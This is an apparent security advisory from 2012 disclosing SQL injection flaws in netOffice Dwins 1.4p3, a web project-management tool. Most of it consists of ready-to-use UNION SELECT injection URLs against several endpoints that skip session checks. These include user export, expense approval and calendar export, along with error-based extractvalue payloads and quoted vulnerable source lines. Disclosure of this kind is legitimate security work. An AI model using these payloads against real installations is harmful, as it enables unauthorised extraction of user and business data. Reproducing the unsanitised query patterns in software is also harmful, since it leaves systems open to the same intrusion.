NetOffice Dwins 1.4p3 - SQL Injection

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   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-11-08                              ]
 #################################################################
 #  [ netOffice Dwins <= 1.4p3 ]  SQL Injection Vulnerability    #
 #################################################################
 #
 # Script: "netOffice Dwins is a free web based time tracking, timesheet, 
 #          content management, issue tracking, and project management environment."
 #
 # Vendor:   http://sourceforge.net/projects/netofficedwins/
 # Download: http://sourceforge.net/projects/netofficedwins/files/netofficedwins/1.4p3/
 #
 #################################################################
 # [SQL Injection]
 #
 # reports/export_leaves.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0--
 # File: reports/export_leaves.php ( lines: 16-107 ):
 # ..cut..
 #       $S_mem = $_GET['S_ATSEL'];          //1
 # ..cut..
 # $checkSession = false;                    //2
 # require_once("../includes/library.php");
 # ..cut..
 #   $query .= " AND wkh.owner IN($S_mem)";  //3
 # ..cut..
 # $tmpquery = "$query ORDER BY wkh.owner";  //4
 # $listWorkHours = new request();
 # $listWorkHours->openWorkHours($tmpquery); //5 SQL
 # ..cut..
 #
 # users/exportuser.php?id=-1 union select 0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0--
 # File: users/exportuser.php ( lines: 15-21 ): 
 # ..cut..
 # $checkSession = false;                    //1
 # require_once("../includes/library.php");
 # require_once("../includes/vcard.class.php");
 # $id = $_GET['id'];                        //2
 # $tmpquery = " WHERE mem.id=$id";          //3
 # $userDetail = new request();
 # $userDetail->openMembers($tmpquery);      //4 SQL
 # ..cut..
 #
 # reports/export_person_performance.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0--
 # expenses/approveexpense.php?id=-1 union select 0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0--&auth=1&doc=-1 union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--
 # calendar/exportcalendar.php?id=-1' union select 0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1--
 #
 # [Blind SQL Injection]
 #
 # analysis/expanddimension.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--
 # analysis/changedimensionsortingorder.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--
 #
 ### [ dun / 2012 ] #############################################